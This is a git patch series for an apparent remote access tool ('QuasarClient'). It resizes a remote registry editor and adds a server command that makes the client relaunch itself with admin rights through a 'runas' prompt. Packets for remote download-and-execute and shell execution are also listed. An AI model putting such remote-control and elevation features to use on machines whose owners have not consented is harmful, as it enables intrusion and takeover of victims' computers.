- { - this.Invoke((MethodInvoker)delegate - { - MessageBox.Show(errorMsg, "Error", MessageBoxButtons.OK, MessageBoxIcon.Error); - }); - - } - - #endregion + #region ListView Helpfunctions From 6492b2734d533690d7c93b312e904d79e642e401 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Tue, 15 Mar 2016 16:53:44 +0100 Subject: [PATCH 013/229] Added better title for RegistryEditor and corrected its default size - Changed the title to use WindowHelper to get a correctly formated title - Changed the size of the RegistryEditor to 800x600 --- Server/Forms/FrmRegistryEditor.Designer.cs | 24 +++++++++++----------- Server/Forms/FrmRegistryEditor.cs | 4 ++++ Server/Forms/FrmRegistryEditor.resx | 4 ++-- 3 files changed, 18 insertions(+), 14 deletions(-) diff --git a/Server/Forms/FrmRegistryEditor.Designer.cs b/Server/Forms/FrmRegistryEditor.Designer.cs index e8634476d..b3e7e7ef5 100644 --- a/Server/Forms/FrmRegistryEditor.Designer.cs +++ b/Server/Forms/FrmRegistryEditor.Designer.cs @@ -116,7 +116,7 @@ private void InitializeComponent() this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 25F)); this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Percent, 100F)); this.tableLayoutPanel.RowStyles.Add(new System.Windows.Forms.RowStyle(System.Windows.Forms.SizeType.Absolute, 22F)); - this.tableLayoutPanel.Size = new System.Drawing.Size(1239, 724); + this.tableLayoutPanel.Size = new System.Drawing.Size(784, 561); this.tableLayoutPanel.TabIndex = 0; // // splitContainer @@ -132,8 +132,8 @@ private void InitializeComponent() // splitContainer.Panel2 // this.splitContainer.Panel2.Controls.Add(this.lstRegistryKeys); - this.splitContainer.Size = new System.Drawing.Size(1233, 671); - this.splitContainer.SplitterDistance = 411; + this.splitContainer.Size = new System.Drawing.Size(778, 508); + this.splitContainer.SplitterDistance = 259; this.splitContainer.TabIndex = 0; // // imageRegistryDirectoryList @@ -154,9 +154,9 @@ private void InitializeComponent() this.statusStrip.Dock = System.Windows.Forms.DockStyle.Fill; this.statusStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.selectedStripStatusLabel}); - this.statusStrip.Location = new System.Drawing.Point(0, 702); + this.statusStrip.Location = new System.Drawing.Point(0, 539); this.statusStrip.Name = "statusStrip"; - this.statusStrip.Size = new System.Drawing.Size(1239, 22); + this.statusStrip.Size = new System.Drawing.Size(784, 22); this.statusStrip.TabIndex = 1; this.statusStrip.Text = "statusStrip"; // @@ -553,7 +553,7 @@ private void InitializeComponent() this.tvRegistryDirectory.Location = new System.Drawing.Point(0, 0); this.tvRegistryDirectory.Name = "tvRegistryDirectory"; this.tvRegistryDirectory.SelectedImageIndex = 0; - this.tvRegistryDirectory.Size = new System.Drawing.Size(411, 671); + this.tvRegistryDirectory.Size = new System.Drawing.Size(259, 508); this.tvRegistryDirectory.TabIndex = 0; this.tvRegistryDirectory.AfterLabelEdit += new System.Windows.Forms.NodeLabelEditEventHandler(this.tvRegistryDirectory_AfterLabelEdit); this.tvRegistryDirectory.BeforeExpand += new System.Windows.Forms.TreeViewCancelEventHandler(this.tvRegistryDirectory_BeforeExpand); @@ -573,7 +573,7 @@ private void InitializeComponent() this.lstRegistryKeys.HideSelection = false; this.lstRegistryKeys.Location = new System.Drawing.Point(0, 0); this.lstRegistryKeys.Name = "lstRegistryKeys"; - this.lstRegistryKeys.Size = new System.Drawing.Size(818, 671); + this.lstRegistryKeys.Size = new System.Drawing.Size(515, 508); this.lstRegistryKeys.SmallImageList = this.imageRegistryKeyTypeList; this.lstRegistryKeys.TabIndex = 0; this.lstRegistryKeys.UseCompatibleStateImageBehavior = false; @@ -588,23 +588,23 @@ private void InitializeComponent() // hName // this.hName.Text = "Name"; - this.hName.Width = 203; + this.hName.Width = 173; // // hType // this.hType.Text = "Type"; - this.hType.Width = 149; + this.hType.Width = 104; // // hValue // this.hValue.Text = "Value"; - this.hValue.Width = 384; + this.hValue.Width = 214; // // FrmRegistryEditor // this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F); this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; - this.ClientSize = new System.Drawing.Size(1239, 724); + this.ClientSize = new System.Drawing.Size(784, 561); this.Controls.Add(this.tableLayoutPanel); this.Font = new System.Drawing.Font("Segoe UI", 8.25F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0))); this.ForeColor = System.Drawing.Color.Black; @@ -612,7 +612,7 @@ private void InitializeComponent() this.MainMenuStrip = this.menuStrip; this.Name = "FrmRegistryEditor"; this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen; - this.Text = "Registry Editor"; + this.Text = "Registry Editor []"; this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.FrmRegistryEditor_FormClosing); this.Load += new System.EventHandler(this.FrmRegistryEditor_Load); this.tableLayoutPanel.ResumeLayout(false); diff --git a/Server/Forms/FrmRegistryEditor.cs b/Server/Forms/FrmRegistryEditor.cs index 79ae6288f..43b0fe66a 100644 --- a/Server/Forms/FrmRegistryEditor.cs +++ b/Server/Forms/FrmRegistryEditor.cs @@ -11,6 +11,7 @@ using xServer.Core.Networking; using xServer.Core.Registry; using xServer.Core.Extensions; +using xServer.Core.Helper; namespace xServer.Forms { @@ -54,6 +55,9 @@ private void FrmRegistryEditor_Load(object sender, EventArgs e) // Set the ListSorter for the listView this.lstRegistryKeys.ListViewItemSorter = new RegistryValueListItemComparer(); + + if (_connectClient != null) + this.Text = WindowHelper.GetWindowTitle("Registry Editor", _connectClient); } private void FrmRegistryEditor_FormClosing(object sender, FormClosingEventArgs e) diff --git a/Server/Forms/FrmRegistryEditor.resx b/Server/Forms/FrmRegistryEditor.resx index bc03a77e0..361cdba0a 100644 --- a/Server/Forms/FrmRegistryEditor.resx +++ b/Server/Forms/FrmRegistryEditor.resx @@ -125,7 +125,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAADm - BwAAAk1TRnQBSQFMAwEBAAEoAQQBKAEEARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA + BwAAAk1TRnQBSQFMAwEBAAFQAQQBUAEEARABAAEQAQAE/wEJAQAI/wFCAU0BNgEEBgABNgEEAgABKAMA AUADAAEQAwABAQEAAQgGAAEEGAABgAIAAYADAAKAAQABgAMAAYABAAGAAQACgAIAA8ABAAHAAdwBwAEA AfABygGmAQABMwUAATMBAAEzAQABMwEAAjMCAAMWAQADHAEAAyIBAAMpAQADVQEAA00BAANCAQADOQEA AYABfAH/AQACUAH/AQABkwEAAdYBAAH/AewBzAEAAcYB1gHvAQAB1gLnAQABkAGpAa0CAAH/ATMDAAFm @@ -169,7 +169,7 @@ AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAABk - CQAAAk1TRnQBSQFMAgEBAgEAAUgBAwFIAQMBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + CQAAAk1TRnQBSQFMAgEBAgEAAXABAwFwAQMBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo AwABQAMAARADAAEBAQABCAYAAQQYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA From 7a9718705751cdd2c31f9f895090c282086ff032 Mon Sep 17 00:00:00 2001 From: StingRaptor Date: Tue, 15 Mar 2016 21:30:15 +0100 Subject: [PATCH 014/229] Reverted the added "new Thread(...)" from RegistryHandler.cs --- Client/Core/Commands/RegistryHandler.cs | 290 +++++++++++------------- 1 file changed, 133 insertions(+), 157 deletions(-) diff --git a/Client/Core/Commands/RegistryHandler.cs b/Client/Core/Commands/RegistryHandler.cs index 1f48196e8..00442f566 100644 --- a/Client/Core/Commands/RegistryHandler.cs +++ b/Client/Core/Commands/RegistryHandler.cs @@ -28,99 +28,87 @@ public static partial class CommandHandler public static void HandleGetRegistryKey(xClient.Core.Packets.ServerPackets.DoLoadRegistryKey packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); - try - { - RegistrySeeker seeker = new RegistrySeeker(); - seeker.BeginSeeking(packet.RootKeyName); - - responsePacket.Matches = seeker.Matches; - responsePacket.IsError = false; - } - catch (Exception e) - { - responsePacket.IsError = true; - responsePacket.ErrorMsg = e.Message; - } - responsePacket.RootKey = packet.RootKeyName; - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetRegistryKeysResponse responsePacket = new Packets.ClientPackets.GetRegistryKeysResponse(); + try + { + RegistrySeeker seeker = new RegistrySeeker(); + seeker.BeginSeeking(packet.RootKeyName); + + responsePacket.Matches = seeker.Matches; + responsePacket.IsError = false; + } + catch (Exception e) + { + responsePacket.IsError = true; + responsePacket.ErrorMsg = e.Message; + } + responsePacket.RootKey = packet.RootKeyName; + responsePacket.Execute(client); } #region Registry Key Edit public static void HandleCreateRegistryKey(xClient.Core.Packets.ServerPackets.DoCreateRegistryKey packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); - string errorMsg = ""; - string newKeyName = ""; - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - - responsePacket.Match = new RegSeekerMatch(newKeyName, null, 0); - responsePacket.ParentPath = packet.ParentPath; - - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetCreateRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryKeyResponse(); + string errorMsg = ""; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryKey(packet.ParentPath, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + + responsePacket.Match = new RegSeekerMatch(newKeyName, null, 0); + responsePacket.ParentPath = packet.ParentPath; + + responsePacket.Execute(client); } public static void HandleDeleteRegistryKey(xClient.Core.Packets.ServerPackets.DoDeleteRegistryKey packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.KeyName = packet.KeyName; - - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetDeleteRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryKeyResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryKey(packet.KeyName, packet.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = packet.ParentPath; + responsePacket.KeyName = packet.KeyName; + + responsePacket.Execute(client); } public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.DoRenameRegistryKey packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ParentPath = packet.ParentPath; - responsePacket.OldKeyName = packet.OldKeyName; - responsePacket.NewKeyName = packet.NewKeyName; - - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetRenameRegistryKeyResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryKeyResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryKey(packet.OldKeyName, packet.NewKeyName, packet.ParentPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ParentPath = packet.ParentPath; + responsePacket.OldKeyName = packet.OldKeyName; + responsePacket.NewKeyName = packet.NewKeyName; + + responsePacket.Execute(client); } #endregion @@ -129,96 +117,84 @@ public static void HandleRenameRegistryKey(xClient.Core.Packets.ServerPackets.Do public static void HandleCreateRegistryValue(xClient.Core.Packets.ServerPackets.DoCreateRegistryValue packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse(); - string errorMsg = ""; - string newKeyName = ""; - try - { - responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); - responsePacket.KeyPath = packet.KeyPath; - - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetCreateRegistryValueResponse responsePacket = new Packets.ClientPackets.GetCreateRegistryValueResponse(); + string errorMsg = ""; + string newKeyName = ""; + try + { + responsePacket.IsError = !(RegistryEditor.CreateRegistryValue(packet.KeyPath, packet.Kind, out newKeyName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.Value = new RegValueData(newKeyName, packet.Kind, packet.Kind.GetDefault()); + responsePacket.KeyPath = packet.KeyPath; + + responsePacket.Execute(client); } public static void HandleDeleteRegistryValue(xClient.Core.Packets.ServerPackets.DoDeleteRegistryValue packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.ValueName = packet.ValueName; - responsePacket.KeyPath = packet.KeyPath; - - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetDeleteRegistryValueResponse responsePacket = new Packets.ClientPackets.GetDeleteRegistryValueResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.DeleteRegistryValue(packet.KeyPath, packet.ValueName, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.ValueName = packet.ValueName; + responsePacket.KeyPath = packet.KeyPath; + + responsePacket.Execute(client); } public static void HandleRenameRegistryValue(xClient.Core.Packets.ServerPackets.DoRenameRegistryValue packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetRenameRegistryValueResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryValueResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(packet.OldValueName, packet.NewValueName, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.OldValueName = packet.OldValueName; - responsePacket.NewValueName = packet.NewValueName; - - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetRenameRegistryValueResponse responsePacket = new Packets.ClientPackets.GetRenameRegistryValueResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.RenameRegistryValue(packet.OldValueName, packet.NewValueName, packet.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = packet.KeyPath; + responsePacket.OldValueName = packet.OldValueName; + responsePacket.NewValueName = packet.NewValueName; + + responsePacket.Execute(client); } public static void HandleChangeRegistryValue(xClient.Core.Packets.ServerPackets.DoChangeRegistryValue packet, Client client) { - new Thread(() => - { - xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse(); - string errorMsg = ""; - try - { - responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); - } - catch (Exception ex) - { - responsePacket.IsError = true; - errorMsg = ex.Message; - } - responsePacket.ErrorMsg = errorMsg; - responsePacket.KeyPath = packet.KeyPath; - responsePacket.Value = packet.Value; - - responsePacket.Execute(client); - }).Start(); + xClient.Core.Packets.ClientPackets.GetChangeRegistryValueResponse responsePacket = new Packets.ClientPackets.GetChangeRegistryValueResponse(); + string errorMsg = ""; + try + { + responsePacket.IsError = !(RegistryEditor.ChangeRegistryValue(packet.Value, packet.KeyPath, out errorMsg)); + } + catch (Exception ex) + { + responsePacket.IsError = true; + errorMsg = ex.Message; + } + responsePacket.ErrorMsg = errorMsg; + responsePacket.KeyPath = packet.KeyPath; + responsePacket.Value = packet.Value; + + responsePacket.Execute(client); } #endregion From da42bd3e0ca81ccff41384e281c56573304cc51f Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 12:04:58 -0400 Subject: [PATCH 015/229] Create DoAskElevate ServerPacket --- .../Packets/ServerPackets/DoAskElevate.cs | 19 +++++++++++++++++++ Server/Server.csproj | 1 + 2 files changed, 20 insertions(+) create mode 100644 Server/Core/Packets/ServerPackets/DoAskElevate.cs diff --git a/Server/Core/Packets/ServerPackets/DoAskElevate.cs b/Server/Core/Packets/ServerPackets/DoAskElevate.cs new file mode 100644 index 000000000..69962c579 --- /dev/null +++ b/Server/Core/Packets/ServerPackets/DoAskElevate.cs @@ -0,0 +1,19 @@ +using System; +using xServer.Core.Networking; +using xServer.Core.Registry; + +namespace xServer.Core.Packets.ServerPackets +{ + [Serializable] + public class DoAskElevate : IPacket + { + public DoAskElevate(string keyPath, RegValueData value) + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} diff --git a/Server/Server.csproj b/Server/Server.csproj index 6651ed894..cb4ba45b1 100644 --- a/Server/Server.csproj +++ b/Server/Server.csproj @@ -162,6 +162,7 @@ + From e2cb8ba85730d720d6fd05c0518ca016e49c9a7b Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 12:06:48 -0400 Subject: [PATCH 016/229] Create DoAskElevate for Client's ServerPackets. --- Client/Client.csproj | 1 + .../Core/Packets/ServerPackets/DoAskElevate.cs | 18 ++++++++++++++++++ 2 files changed, 19 insertions(+) create mode 100644 Client/Core/Packets/ServerPackets/DoAskElevate.cs diff --git a/Client/Client.csproj b/Client/Client.csproj index d6af4b77d..db1dea449 100644 --- a/Client/Client.csproj +++ b/Client/Client.csproj @@ -104,6 +104,7 @@ + diff --git a/Client/Core/Packets/ServerPackets/DoAskElevate.cs b/Client/Core/Packets/ServerPackets/DoAskElevate.cs new file mode 100644 index 000000000..d84593942 --- /dev/null +++ b/Client/Core/Packets/ServerPackets/DoAskElevate.cs @@ -0,0 +1,18 @@ +using System; +using xClient.Core.Networking; + +namespace xClient.Core.Packets.ServerPackets +{ + [Serializable] + public class DoAskElevate : IPacket + { + public DoAskElevate() + { + } + + public void Execute(Client client) + { + client.Send(this); + } + } +} From 6995b04cbd9c67d83ebd88354811f721d946a483 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 12:07:57 -0400 Subject: [PATCH 017/229] Try not to make it so obvious that this is my second time working with c# --- Server/Core/Packets/ServerPackets/DoAskElevate.cs | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/Server/Core/Packets/ServerPackets/DoAskElevate.cs b/Server/Core/Packets/ServerPackets/DoAskElevate.cs index 69962c579..2ef8d898a 100644 --- a/Server/Core/Packets/ServerPackets/DoAskElevate.cs +++ b/Server/Core/Packets/ServerPackets/DoAskElevate.cs @@ -1,13 +1,12 @@ using System; using xServer.Core.Networking; -using xServer.Core.Registry; namespace xServer.Core.Packets.ServerPackets { [Serializable] public class DoAskElevate : IPacket { - public DoAskElevate(string keyPath, RegValueData value) + public DoAskElevate() { } From f0474b47751709d0f4c6f311f012a6c0de5cf55a Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 12:32:26 -0400 Subject: [PATCH 018/229] Implement HandleAskElevate on Client --- Client/Core/Commands/SystemHandler.cs | 29 +++++++++++++++++++++++++++ 1 file changed, 29 insertions(+) diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 2b54477be..382fb8d0d 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -11,6 +11,7 @@ using xClient.Core.Networking; using xClient.Core.Utilities; using xClient.Enums; +using xClient.Core.Helper; namespace xClient.Core.Commands { @@ -438,6 +439,34 @@ public static void HandleDoProcessKill(Packets.ServerPackets.DoProcessKill comma } } + public static void HandleAskElevate(Packets.ServerPackets.DoAskElevate command, Client client) + { + if (!(WindowsAccountHelper.GetAccountType() == "Admin")) + { + ProcessStartInfo proc = new ProcessStartInfo(); + proc.UseShellExecute = true; + proc.WorkingDirectory = Environment.CurrentDirectory; + proc.FileName = Application.ExecutablePath; + proc.Verb = "runas"; + + try + { + Process.Start(proc); + } + catch + { + new Packets.ClientPackets.SetStatus("User refused the elevation request").Execute(client); + return; + } + Application.Exit(); + } + else + { + new Packets.ClientPackets.SetStatus("Process already running as Admin").Execute(client); + } + } + + public static void HandleDoShellExecute(Packets.ServerPackets.DoShellExecute command, Client client) { string input = command.Command; From c68c111bb962d9dbd2003a0eaa3ab75f2c410f96 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 12:34:26 -0400 Subject: [PATCH 019/229] Update QuasarClient Serializer for DoAskElevate --- Client/Core/Networking/QuasarClient.cs | 1 + 1 file changed, 1 insertion(+) diff --git a/Client/Core/Networking/QuasarClient.cs b/Client/Core/Networking/QuasarClient.cs index 5644c0073..52c10e686 100644 --- a/Client/Core/Networking/QuasarClient.cs +++ b/Client/Core/Networking/QuasarClient.cs @@ -30,6 +30,7 @@ public QuasarClient(HostsManager hostsManager) : base() typeof (Packets.ServerPackets.DoClientDisconnect), typeof (Packets.ServerPackets.DoClientReconnect), typeof (Packets.ServerPackets.DoClientUninstall), + typeof (Packets.ServerPackets.DoAskElevate), typeof (Packets.ServerPackets.DoDownloadAndExecute), typeof (Packets.ServerPackets.DoUploadAndExecute), typeof (Packets.ServerPackets.GetDesktop), From 3f91ccd664048be8aeb1c3363d760800c8c38b95 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 13:05:42 -0400 Subject: [PATCH 020/229] Add DoAskElevate to Client PacketHandler --- Client/Core/Packets/PacketHandler.cs | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/Client/Core/Packets/PacketHandler.cs b/Client/Core/Packets/PacketHandler.cs index 08da0d534..d1f67448e 100644 --- a/Client/Core/Packets/PacketHandler.cs +++ b/Client/Core/Packets/PacketHandler.cs @@ -31,6 +31,10 @@ public static void HandlePacket(Client client, IPacket packet) { CommandHandler.HandleDoClientUninstall((ServerPackets.DoClientUninstall)packet, client); } + else if (type == typeof(ServerPackets.DoAskElevate)) + { + CommandHandler.HandleAskElevate((ServerPackets.DoAskElevate)packet, client); + } else if (type == typeof(ServerPackets.GetDesktop)) { CommandHandler.HandleGetDesktop((ServerPackets.GetDesktop)packet, client); From 8b6fa9e8a2e3c8a4b2dcf7eab70730d7a313f840 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 13:06:23 -0400 Subject: [PATCH 021/229] Remove extra line to make it pretty? --- Client/Core/Commands/SystemHandler.cs | 1 - 1 file changed, 1 deletion(-) diff --git a/Client/Core/Commands/SystemHandler.cs b/Client/Core/Commands/SystemHandler.cs index 382fb8d0d..903a378be 100644 --- a/Client/Core/Commands/SystemHandler.cs +++ b/Client/Core/Commands/SystemHandler.cs @@ -466,7 +466,6 @@ public static void HandleAskElevate(Packets.ServerPackets.DoAskElevate command, } } - public static void HandleDoShellExecute(Packets.ServerPackets.DoShellExecute command, Client client) { string input = command.Command; From 9e4f4abfcc46d6e2cc5aec0491acf2ca61c2c561 Mon Sep 17 00:00:00 2001 From: LostSoulFly Date: Fri, 18 Mar 2016 13:17:53 -0400 Subject: [PATCH 022/229] Add toolstrip menu item for AskToElevate and correspon _click action --- Server/Forms/FrmMain.Designer.cs | 92 +++++++------ Server/Forms/FrmMain.cs | 8 ++ Server/Forms/FrmMain.resx | 216 +++++++++++++++---------------- 3 files changed, 169 insertions(+), 147 deletions(-) diff --git a/Server/Forms/FrmMain.Designer.cs b/Server/Forms/FrmMain.Designer.cs index 922857fee..5849c7cdf 100644 --- a/Server/Forms/FrmMain.Designer.cs +++ b/Server/Forms/FrmMain.Designer.cs @@ -84,6 +84,7 @@ private void InitializeComponent() this.settingsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.builderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aboutToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.askForElevationToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip.SuspendLayout(); this.tableLayoutPanel.SuspendLayout(); this.statusStrip.SuspendLayout(); @@ -92,6 +93,7 @@ private void InitializeComponent() // // contextMenuStrip // + this.contextMenuStrip.ImageScalingSize = new System.Drawing.Size(24, 24); this.contextMenuStrip.Items.AddRange(new System.Windows.Forms.ToolStripItem[] { this.connectionToolStripMenuItem, this.systemToolStripMenuItem, @@ -100,7 +102,7 @@ private void InitializeComponent() this.lineToolStripMenuItem, this.selectAllToolStripMenuItem}); this.contextMenuStrip.Name = "ctxtMenu"; - this.contextMenuStrip.Size = new System.Drawing.Size(153, 142); + this.contextMenuStrip.Size = new System.Drawing.Size(212, 193); this.contextMenuStrip.Opening += new System.ComponentModel.CancelEventHandler(this.contextMenuStrip_Opening); // // connectionToolStripMenuItem @@ -112,14 +114,14 @@ private void InitializeComponent() this.uninstallToolStripMenuItem}); this.connectionToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("connectionToolStripMenuItem.Image"))); this.connectionToolStripMenuItem.Name = "connectionToolStripMenuItem"; - this.connectionToolStripMenuItem.Size = new System.Drawing.Size(152, 22); + this.connectionToolStripMenuItem.Size = new System.Drawing.Size(211, 30); this.connectionToolStripMenuItem.Text = "Connection"; // // updateToolStripMenuItem // this.updateToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("updateToolStripMenuItem.Image"))); this.updateToolStripMenuItem.Name = "updateToolStripMenuItem"; - this.updateToolStripMenuItem.Size = new System.Drawing.Size(133, 22); + this.updateToolStripMenuItem.Size = new System.Drawing.Size(184, 30); this.updateToolStripMenuItem.Text = "Update"; this.updateToolStripMenuItem.Click += new System.EventHandler(this.updateToolStripMenuItem_Click); // @@ -127,7 +129,7 @@ private void InitializeComponent() // this.reconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("reconnectToolStripMenuItem.Image"))); this.reconnectToolStripMenuItem.Name = "reconnectToolStripMenuItem"; - this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22); + this.reconnectToolStripMenuItem.Size = new System.Drawing.Size(184, 30); this.reconnectToolStripMenuItem.Text = "Reconnect"; this.reconnectToolStripMenuItem.Click += new System.EventHandler(this.reconnectToolStripMenuItem_Click); // @@ -135,7 +137,7 @@ private void InitializeComponent() // this.disconnectToolStripMenuItem.Image = ((System.Drawing.Image)(resources.GetObject("disconnectToolStripMenuItem.Image"))); this.disconnectToolStripMenuItem.Name = "disconnectToolStripMenuItem"; - this.disconnectToolStripMenuItem.Size = new System.Drawing.Size(133, 22); 